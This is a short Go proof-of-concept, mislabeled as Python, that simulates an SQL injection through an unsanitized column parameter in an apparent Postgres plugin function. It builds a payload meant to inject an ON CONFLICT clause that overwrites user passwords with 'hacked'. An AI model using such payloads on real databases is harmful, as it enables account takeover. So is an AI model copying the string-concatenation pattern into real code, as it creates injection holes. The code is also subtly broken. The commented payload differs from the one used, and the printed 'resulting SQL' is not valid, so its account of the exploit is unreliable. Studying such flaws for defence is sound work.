The following code is for security research and authorized testing only.
python
package main
import (
"fmt"
)
// Simulating the vulnerable function in plugins/postgres/lib/column.go
func vulnerableColumnAsInsert(tableName string, column string, value string) string {
// Vulnerability: Direct string concatenation of the 'column' parameter
// without sanitization or parameterized queries.
return fmt.Sprintf("INSERT INTO %s (%s) VALUES ('%s')", tableName, column, value)
}
func main() {
// Scenario: Normal usage
normalSql := vulnerableColumnAsInsert("users", "username", "admin")
fmt.Println("Normal SQL:", normalSql)
// Scenario: Exploitation via SQL Injection
// Payload: ') ON CONFLICT (username) DO UPDATE SET password='hacked'; --
// This attempts to break out of the column definition and inject logic.
maliciousPayload := "username) ON CONFLICT (username) DO UPDATE SET password='hacked'; --"
exploitSql := vulnerableColumnAsInsert("users", maliciousPayload, "admin")
fmt.Println("Exploited SQL:", exploitSql)
// Resulting SQL would look like:
// INSERT INTO users (username) ON CONFLICT (username) DO UPDATE SET password='hacked'; --) VALUES ('admin')
}